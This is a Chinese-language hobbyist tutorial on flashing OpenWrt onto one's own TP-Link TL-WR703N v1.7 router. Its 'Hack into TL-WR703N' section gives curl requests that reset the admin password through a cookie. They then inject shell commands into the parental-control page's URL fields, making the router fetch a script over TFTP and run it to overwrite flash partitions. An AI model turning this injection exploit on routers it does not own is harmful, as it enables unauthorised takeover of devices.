TL-WR703N版本v1.7刷openwrt教程

我的TL-WR703N路由器运行不稳定,就准备尝试刷最新的OpenWRT,看看能否好一点。

准备工作

  • 一个 TP-Link TL-WR703N 路由器,确保固件版本为 3.17.1 Build 140120 Rel.56593n
    1
    # 在刷机之前,按reset按钮重置路由器
  • TL-WR703N 的 openwrt 固件 openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin
    1
    2
    3
    4
    # 下载openwrt固件并拆分成两份(因为wr703n的内存很小,可能传输的时候传不了整个文件)
    curl https://downloads.openwrt.org/snapshots/trunk/ar71xx/generic/openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin -o openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin
    dd if=openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin of=i1 bs=1 count=1048576
    dd if=openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin of=i2 bs=1 skip=1048576
  • TFTP 服务器
    1
    2
    # 安装TFTP的客户端和服务器端
    sudo apt-get install atftp atftpd
  • busybox 1.16.1 MIPS 版
    1
    curl https://busybox.net/downloads/binaries/1.21.1/busybox-mips > busybox
  • 编写Hack脚本
    1
    2
    3
    4
    5
    6
    7
    8
    cd /tmp
    tftp -gl i1 192.168.1.100 # 把i1从tftp服务器下载下来,这里的ip应该是,你的tftp服务器连接路由器之后,ifconfig看到的ip
    tftp -gl i2 192.168.1.100 # 把i2从tftp服务器下载下来
    tftp -gl busybox 192.168.1.100 # 把busybox从tftp服务器下载下来
    chmod 755 busybox # 修改busybox权限以执行命令
    ./busybox dd if=i1 of=/dev/mtdblock1 conv=fsync # 将i1写入磁盘分区
    ./busybox dd if=i2 of=/dev/mtdblock2 conv=fsync # 将i2写入磁盘分区
    reboot -f # 重启,会启动openwrt

刷机流程

在V1.7以前,可以通过路由器的Web UI直接将openwrt刷到板子上,但在V1.7之后,只能通过利用TP-LINK家长控制的漏洞,让路由板执行一些代码,成功刷写openwrt系统。本教程就是利用TP-LINK家长控制的漏洞进行openwrt刷机。下面介绍openwrt刷机的步骤。

搭建tftp服务器

在Debian操作系统中搭建tftp服务器请参考链接4。将busybox、 拆开的固件i1和i2、Hack脚本aa放入tftp服务器目录。

Hack into TL-WR703N

这个方法是利用TPLINK家长控制漏洞,以curl的方式执行命令,让路由器从tftp服务器上下载脚本,执行命令,从而将openwrt固件写入路由器。

【警告】以下步骤可能导致你的路由器变砖,请确认当前的路由器固件版本是3.17.1 Build 140120. 下述全过程请勿断开连接或是断开电源,本人不对产生的任何后果负责!另外,每一步都很重要,别忽略其中任何一步。一旦变砖,请用3.3V的串口线抢救。

步骤如下:

  • 长按reboot按钮将路由器恢复出厂设置

  • 将tftp服务器通过WiFi的方式连接到路由器 TL-WR703N,ifconfig记住tftp服务器的ip,我的是192.168.1.100

  • 在tftp服务器上执行如下命令修改路由器WebUI默认管理员密码

    1
    2
    # 此处修改密码为admin42,注意Cookies中认证变量Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D即是设置管理员密码为admin42。后续将继续使用该变量进行其他操作,如果认证变量不正确,操作将无法执行。
    curl -o - -b 'tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=true' 'http://192.168.1.1/'
  • 启用家长控制(利用漏洞)

1
curl -o - -b 'tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=' --referer 'http://192.168.1.1/userRpm/ParentCtrlRpm.htm' 'http://192.168.1.1/userRpm/ParentCtrlRpm.htm?ctrl_enable=1&parent_mac_addr=00-00-00-00-00-02&Page=1'
  • 让路由器从tftp服务器下载并执行脚本
    1
    2
    # 执行下述命令后,等待大约三分钟,路由器会重启进入openwrt系统,状态灯会闪烁一会儿
    curl -o - -b 'tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=' --referer 'http://192.168.1.1/userRpm/ParentCtrlRpm.htm?Modify=0&Page=1' 'http://192.168.1.1/userRpm/ParentCtrlRpm.htm?child_mac=00-00-00-00-00-01&lan_lists=888&url_comment=test&url_0=;cd%20/tmp;&url_1=;tftp%20-gl%20aa%20192.168.1.100;&url_2=;sh%20aa;&url_3=&url_4=&url_5=&url_6=&url_7=&scheds_lists=255&enable=1&Changed=1&SelIndex=0&Page=1&rule_mode=0&Save=%B1%A3+%B4%E6'

openwrt系统配置

openwrt默认使用LuCI 用户界面,具体配置方法暂时没有时间研究。

参考链接

  1. 给 v1.7 版本的 TL-WR703N 刷 openwrt,by Cubic Zone.
  2. TL-WR703N v1.7刷openwrt,by 梦里茶.
  3. TP-Link TL-WR703N,by openwrt.
  4. Debian安装配置使用TFTP,by jack huang.
  5. Packet Traveling,by ed harmoush.